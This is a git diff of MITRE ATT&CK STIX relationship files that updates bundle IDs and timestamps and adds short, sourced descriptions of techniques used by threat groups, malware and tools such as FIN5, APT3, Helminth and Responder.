     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9a615c7f-986d-4769-bea6-af9ffe0d575e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.057Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT3 has used a tool that can obtain info about local and global group users, power users, and administrators.",
             "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
diff --git a/enterprise-attack/relationship/relationship--9a62c02a-e373-494e-af73-f8b3274e8c9b.json b/enterprise-attack/relationship/relationship--9a62c02a-e373-494e-af73-f8b3274e8c9b.json
index f9a5df8385..8f11cdbec5 100644
--- a/enterprise-attack/relationship/relationship--9a62c02a-e373-494e-af73-f8b3274e8c9b.json
+++ b/enterprise-attack/relationship/relationship--9a62c02a-e373-494e-af73-f8b3274e8c9b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f6f3a777-1a54-4ad9-b44d-47b6f82e602b",
+    "id": "bundle--1595f3e4-ef51-44f7-b714-6a5dd18dc8e3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "relationship--9a62c02a-e373-494e-af73-f8b3274e8c9b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "The OsInfo function collects a running process list ",
+            "description": "The OsInfo function in Komplex collects a running process list.",
             "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518",
             "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
             "external_references": [
diff --git a/enterprise-attack/relationship/relationship--9a7ff784-436b-40c5-bfb0-25e02e1d9940.json b/enterprise-attack/relationship/relationship--9a7ff784-436b-40c5-bfb0-25e02e1d9940.json
index 78e78034e0..b0ac983953 100644
--- a/enterprise-attack/relationship/relationship--9a7ff784-436b-40c5-bfb0-25e02e1d9940.json
+++ b/enterprise-attack/relationship/relationship--9a7ff784-436b-40c5-bfb0-25e02e1d9940.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c42ce84f-db13-43e6-84b5-8111ba3f1b09",
+    "id": "bundle--652347ba-867f-4ea3-a6d4-e88175792658",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9a7ff784-436b-40c5-bfb0-25e02e1d9940",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DustySky achieves persistence by creating a Registry entry in <code>HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run</code>.",
             "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
diff --git a/enterprise-attack/relationship/relationship--9ab576ed-2ba0-4fc5-87fc-2011a7cd183d.json b/enterprise-attack/relationship/relationship--9ab576ed-2ba0-4fc5-87fc-2011a7cd183d.json
index 997cdd32f8..c71246dd24 100644
--- a/enterprise-attack/relationship/relationship--9ab576ed-2ba0-4fc5-87fc-2011a7cd183d.json
+++ b/enterprise-attack/relationship/relationship--9ab576ed-2ba0-4fc5-87fc-2011a7cd183d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c1e127cf-4966-4878-9e88-0890136aae98",
+    "id": "bundle--95f7f8df-e4f5-459c-acc3-a671ef207c50",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9ab576ed-2ba0-4fc5-87fc-2011a7cd183d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Crimson contains a module to collect data from removable drives.",
             "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
diff --git a/enterprise-attack/relationship/relationship--9abd0448-a3b7-4262-8753-fe81dc91c434.json b/enterprise-attack/relationship/relationship--9abd0448-a3b7-4262-8753-fe81dc91c434.json
new file mode 100644
index 0000000000..39e01d152b
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--9abd0448-a3b7-4262-8753-fe81dc91c434.json
@@ -0,0 +1,38 @@
+{
+    "type": "bundle",
+    "id": "bundle--f0f63c4f-8c20-4bdf-b235-7c8d2d587624",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--9abd0448-a3b7-4262-8753-fe81dc91c434",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "FIN5 has used legitimate VPN, RDP, Citrix, or VNC credentials to maintain access to a victim environment.",
+            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
+            "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d",
+            "external_references": [
+                {
+                    "source_name": "FireEye Respond Webinar July 2017",
+                    "description": "Scavella, T. and Rifki, A. (2017, July 20). Are you Ready to Respond? (Webinar). Retrieved October 4, 2017.",
+                    "url": "https://www2.fireeye.com/WBNR-Are-you-ready-to-respond.html"
+                },
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                },
+                {
+                    "source_name": "DarkReading FireEye FIN5 Oct 2015",
+                    "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.",
+                    "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--9aeda7e2-e452-4cd3-837f-e258cba1fc96.json b/enterprise-attack/relationship/relationship--9aeda7e2-e452-4cd3-837f-e258cba1fc96.json
index 9d176031d0..93f959c7b9 100644
--- a/enterprise-attack/relationship/relationship--9aeda7e2-e452-4cd3-837f-e258cba1fc96.json
+++ b/enterprise-attack/relationship/relationship--9aeda7e2-e452-4cd3-837f-e258cba1fc96.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c5d63d65-f6a3-43eb-8896-0f73eb2a555a",
+    "id": "bundle--ed9dc5f0-28af-4699-9ee3-05a565b34cfc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9aeda7e2-e452-4cd3-837f-e258cba1fc96",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Part of APT28's operation involved using CHOPSTICK modules to copy itself to air-gapped machines and using files written to USB sticks to transfer data and command traffic.",
             "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
diff --git a/enterprise-attack/relationship/relationship--9b1709f3-5062-42f1-82d9-191e66e1d14a.json b/enterprise-attack/relationship/relationship--9b1709f3-5062-42f1-82d9-191e66e1d14a.json
index 11a914f4c3..5aba79a520 100644
--- a/enterprise-attack/relationship/relationship--9b1709f3-5062-42f1-82d9-191e66e1d14a.json
+++ b/enterprise-attack/relationship/relationship--9b1709f3-5062-42f1-82d9-191e66e1d14a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e8d06056-3b74-478a-8ba6-7ccb0c06fb49",
+    "id": "bundle--f9fc4978-342b-4973-8089-36cee9389586",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9b1709f3-5062-42f1-82d9-191e66e1d14a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Nidiran can create a new service named msamger (Microsoft Security Accounts Manager), which mimics the legitimate Microsoft database by the same name.",
             "source_ref": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe",
diff --git a/enterprise-attack/relationship/relationship--9b203f00-34db-475f-a28b-f5088d937f4e.json b/enterprise-attack/relationship/relationship--9b203f00-34db-475f-a28b-f5088d937f4e.json
index 190edd94d0..0b313d0df6 100644
--- a/enterprise-attack/relationship/relationship--9b203f00-34db-475f-a28b-f5088d937f4e.json
+++ b/enterprise-attack/relationship/relationship--9b203f00-34db-475f-a28b-f5088d937f4e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1f8eb3ed-4392-45c6-8a4a-d964d8006110",
+    "id": "bundle--d5c78b30-8540-4c0f-9845-c4126795d4dd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9b203f00-34db-475f-a28b-f5088d937f4e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sykipot may use <code>ipconfig /all</code> to gather system network configuration details.",
             "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
diff --git a/enterprise-attack/relationship/relationship--9b2356e1-6544-40a7-a694-8ac36a1da1b7.json b/enterprise-attack/relationship/relationship--9b2356e1-6544-40a7-a694-8ac36a1da1b7.json
index 67ae442fd5..84e7f88d7e 100644
--- a/enterprise-attack/relationship/relationship--9b2356e1-6544-40a7-a694-8ac36a1da1b7.json
+++ b/enterprise-attack/relationship/relationship--9b2356e1-6544-40a7-a694-8ac36a1da1b7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--db75f149-5234-489d-8271-41df9a3b2481",
+    "id": "bundle--c215bfbb-93e2-426b-823f-68e6154ae78d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9b2356e1-6544-40a7-a694-8ac36a1da1b7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Ping can be used to identify remote systems within a network.",
             "source_ref": "tool--b77b563c-34bb-4fb8-86a3-3694338f7b47",
diff --git a/enterprise-attack/relationship/relationship--9b360cf4-4600-4ea8-a28c-99d91e0d1734.json b/enterprise-attack/relationship/relationship--9b360cf4-4600-4ea8-a28c-99d91e0d1734.json
index 9b92f362f7..d6139d6f97 100644
--- a/enterprise-attack/relationship/relationship--9b360cf4-4600-4ea8-a28c-99d91e0d1734.json
+++ b/enterprise-attack/relationship/relationship--9b360cf4-4600-4ea8-a28c-99d91e0d1734.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7fbb79d1-1557-44f7-927c-8ae1b4ca6c7a",
+    "id": "bundle--38c67be2-c553-4930-a2ad-928dae3c4191",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9b360cf4-4600-4ea8-a28c-99d91e0d1734",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.075Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Suckfly the victim's internal network for hosts with ports 8080, 5900, and 40 open.",
             "source_ref": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d",
diff --git a/enterprise-attack/relationship/relationship--9b36e877-e637-46b8-bdf1-def74c977472.json b/enterprise-attack/relationship/relationship--9b36e877-e637-46b8-bdf1-def74c977472.json
index 83bcf88240..64e1a6eb73 100644
--- a/enterprise-attack/relationship/relationship--9b36e877-e637-46b8-bdf1-def74c977472.json
+++ b/enterprise-attack/relationship/relationship--9b36e877-e637-46b8-bdf1-def74c977472.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0ef3f021-04d5-4dfd-a080-0faeda796f17",
+    "id": "bundle--24d12731-2d45-477b-8073-5990ffcc8f0a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9b36e877-e637-46b8-bdf1-def74c977472",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec can obtain the OS version information, computer name, processor architecture, machine role, and OS edition.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
diff --git a/enterprise-attack/relationship/relationship--9b43f780-6a8b-477f-826f-c45e867749c9.json b/enterprise-attack/relationship/relationship--9b43f780-6a8b-477f-826f-c45e867749c9.json
new file mode 100644
index 0000000000..84c13ee201
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--9b43f780-6a8b-477f-826f-c45e867749c9.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--3b975310-3a87-478b-aa87-ac293d4526a6",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--9b43f780-6a8b-477f-826f-c45e867749c9",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "FIN5 has cleared event logs from victims.",
+            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
+            "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69",
+            "external_references": [
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--9b7bf5d9-23a0-4190-80c0-b27b906bafcc.json b/enterprise-attack/relationship/relationship--9b7bf5d9-23a0-4190-80c0-b27b906bafcc.json
new file mode 100644
index 0000000000..d29fa47b7e
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--9b7bf5d9-23a0-4190-80c0-b27b906bafcc.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--07fe1a7c-3f13-4b04-bb3e-dc01d1da82e4",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--9b7bf5d9-23a0-4190-80c0-b27b906bafcc",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has a tool that can delete files.",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59",
+            "external_references": [
+                {
+                    "source_name": "FireEye Clandestine Fox",
+                    "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--9b80479d-6f7a-45fd-af5b-1e8adfb1e7fd.json b/enterprise-attack/relationship/relationship--9b80479d-6f7a-45fd-af5b-1e8adfb1e7fd.json
index 5471998eed..f58d346784 100644
--- a/enterprise-attack/relationship/relationship--9b80479d-6f7a-45fd-af5b-1e8adfb1e7fd.json
+++ b/enterprise-attack/relationship/relationship--9b80479d-6f7a-45fd-af5b-1e8adfb1e7fd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ac2c5ce4-d340-42df-acf8-986496de9172",
+    "id": "bundle--092dca3e-40b2-417c-bd56-4f52f59bff37",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9b80479d-6f7a-45fd-af5b-1e8adfb1e7fd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Mis-Type network traffic can communicate over HTTP.",
             "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
diff --git a/enterprise-attack/relationship/relationship--9b88372d-4f3f-4442-906d-9ab07e22e781.json b/enterprise-attack/relationship/relationship--9b88372d-4f3f-4442-906d-9ab07e22e781.json
index c7203a0abf..a6f83e7f98 100644
--- a/enterprise-attack/relationship/relationship--9b88372d-4f3f-4442-906d-9ab07e22e781.json
+++ b/enterprise-attack/relationship/relationship--9b88372d-4f3f-4442-906d-9ab07e22e781.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--10b8fa21-fc86-47b1-91af-5e83ace54b41",
+    "id": "bundle--503be3f9-d600-475e-8858-b52996567717",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9b88372d-4f3f-4442-906d-9ab07e22e781",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CORESHELL contains unused machine instructions in a likely attempt to hinder analysis.",
             "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81",
diff --git a/enterprise-attack/relationship/relationship--9b8ff36d-ff96-460a-b5cf-d369e7f598d9.json b/enterprise-attack/relationship/relationship--9b8ff36d-ff96-460a-b5cf-d369e7f598d9.json
index d8523b53e9..eb8f7c3d4d 100644
--- a/enterprise-attack/relationship/relationship--9b8ff36d-ff96-460a-b5cf-d369e7f598d9.json
+++ b/enterprise-attack/relationship/relationship--9b8ff36d-ff96-460a-b5cf-d369e7f598d9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0fce9b0d-ecf5-4f1b-b8b0-6c5d92a1901c",
+    "id": "bundle--af5f80b9-7893-4a40-82ea-34aacc9b8055",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9b8ff36d-ff96-460a-b5cf-d369e7f598d9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RedLeaves can obtain information about network parameters.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
diff --git a/enterprise-attack/relationship/relationship--9bc7f2ff-7ba1-42f4-9e96-2112e99ab12a.json b/enterprise-attack/relationship/relationship--9bc7f2ff-7ba1-42f4-9e96-2112e99ab12a.json
index f5e2be1e9b..ee7f3df371 100644
--- a/enterprise-attack/relationship/relationship--9bc7f2ff-7ba1-42f4-9e96-2112e99ab12a.json
+++ b/enterprise-attack/relationship/relationship--9bc7f2ff-7ba1-42f4-9e96-2112e99ab12a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b57e1932-f075-439b-b0e3-d47123621bc8",
+    "id": "bundle--f2e334c2-0760-479e-9022-7af0e33d140d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9bc7f2ff-7ba1-42f4-9e96-2112e99ab12a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ChChes steals credentials stored inside Internet Explorer.",
             "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
diff --git a/enterprise-attack/relationship/relationship--9c012fcf-876b-4101-aa28-6af8b00a51d2.json b/enterprise-attack/relationship/relationship--9c012fcf-876b-4101-aa28-6af8b00a51d2.json
new file mode 100644
index 0000000000..43a7f3a14e
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--9c012fcf-876b-4101-aa28-6af8b00a51d2.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--273655e1-afb7-49c4-9edd-c501c5f48127",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--9c012fcf-876b-4101-aa28-6af8b00a51d2",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "captures hashes and credentials that are sent to the system after the name services have been poisoned.",
+            "source_ref": "tool--a1dd2dbd-1550-44bf-abcc-1a4c52e97719",
+            "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529",
+            "external_references": [
+                {
+                    "source_name": "GitHub Responder",
+                    "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.",
+                    "url": "https://github.com/SpiderLabs/Responder"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--9c4a8336-5f5f-4e58-b00d-b6bf1c59ec03.json b/enterprise-attack/relationship/relationship--9c4a8336-5f5f-4e58-b00d-b6bf1c59ec03.json
index cac4121e11..e177420891 100644
--- a/enterprise-attack/relationship/relationship--9c4a8336-5f5f-4e58-b00d-b6bf1c59ec03.json
+++ b/enterprise-attack/relationship/relationship--9c4a8336-5f5f-4e58-b00d-b6bf1c59ec03.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c64069f1-2f65-4c35-814d-26df078e3fa2",
+    "id": "bundle--7a96e659-5eba-4c91-80db-31a35c3ce2bb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9c4a8336-5f5f-4e58-b00d-b6bf1c59ec03",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MoonWind saves information from its keylogging routine as a .zip file in the present working directory.",
             "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
diff --git a/enterprise-attack/relationship/relationship--9c79076c-341f-4eb3-bed7-300723747b18.json b/enterprise-attack/relationship/relationship--9c79076c-341f-4eb3-bed7-300723747b18.json
index 30e536c680..d1af99f375 100644
--- a/enterprise-attack/relationship/relationship--9c79076c-341f-4eb3-bed7-300723747b18.json
+++ b/enterprise-attack/relationship/relationship--9c79076c-341f-4eb3-bed7-300723747b18.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bc40729c-31d8-4523-8022-96c2978f7a1f",
+    "id": "bundle--507c1391-0e4e-46ac-9671-7ee5d60a1c04",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9c79076c-341f-4eb3-bed7-300723747b18",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "POWERSOURCE queries Registry keys in preparation for setting Run keys to achieve persistence.",
             "source_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351",
diff --git a/enterprise-attack/relationship/relationship--9c7a9bd0-4f52-4c10-8e79-3b6e72d431d1.json b/enterprise-attack/relationship/relationship--9c7a9bd0-4f52-4c10-8e79-3b6e72d431d1.json
index 9853e63233..c3bf9b5be4 100644
--- a/enterprise-attack/relationship/relationship--9c7a9bd0-4f52-4c10-8e79-3b6e72d431d1.json
+++ b/enterprise-attack/relationship/relationship--9c7a9bd0-4f52-4c10-8e79-3b6e72d431d1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--23371fde-8b26-4bac-9e66-5b0d95a1f693",
+    "id": "bundle--7ca97a33-2e7d-40ae-bdcc-ac865e3502fa",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9c7a9bd0-4f52-4c10-8e79-3b6e72d431d1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "After downloading its main config file, Downdelph downloads multiple payloads from C2 servers.",
             "source_ref": "malware--08d20cd2-f084-45ee-8558-fa6ef5a18519",
diff --git a/enterprise-attack/relationship/relationship--9c7ecbf4-88fe-4144-8dc4-f5bca2c3156d.json b/enterprise-attack/relationship/relationship--9c7ecbf4-88fe-4144-8dc4-f5bca2c3156d.json
new file mode 100644
index 0000000000..f18892b9df
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--9c7ecbf4-88fe-4144-8dc4-f5bca2c3156d.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--f9503563-6afb-472d-b75a-1ee2f16e03c9",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--9c7ecbf4-88fe-4144-8dc4-f5bca2c3156d",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Helminth creates folders to store output from batch scripts prior to sending the information to its C2 server.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--9c8fa95a-cbbe-4ef6-999d-21b4080b54f6.json b/enterprise-attack/relationship/relationship--9c8fa95a-cbbe-4ef6-999d-21b4080b54f6.json
index 9e9420e304..af709cc45a 100644
--- a/enterprise-attack/relationship/relationship--9c8fa95a-cbbe-4ef6-999d-21b4080b54f6.json
+++ b/enterprise-attack/relationship/relationship--9c8fa95a-cbbe-4ef6-999d-21b4080b54f6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fdf5fd9a-3622-4fde-b240-d785eff7979a",
+    "id": "bundle--47d81293-3238-4e6d-9d28-c9df5957ea8c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9c8fa95a-cbbe-4ef6-999d-21b4080b54f6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.072Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
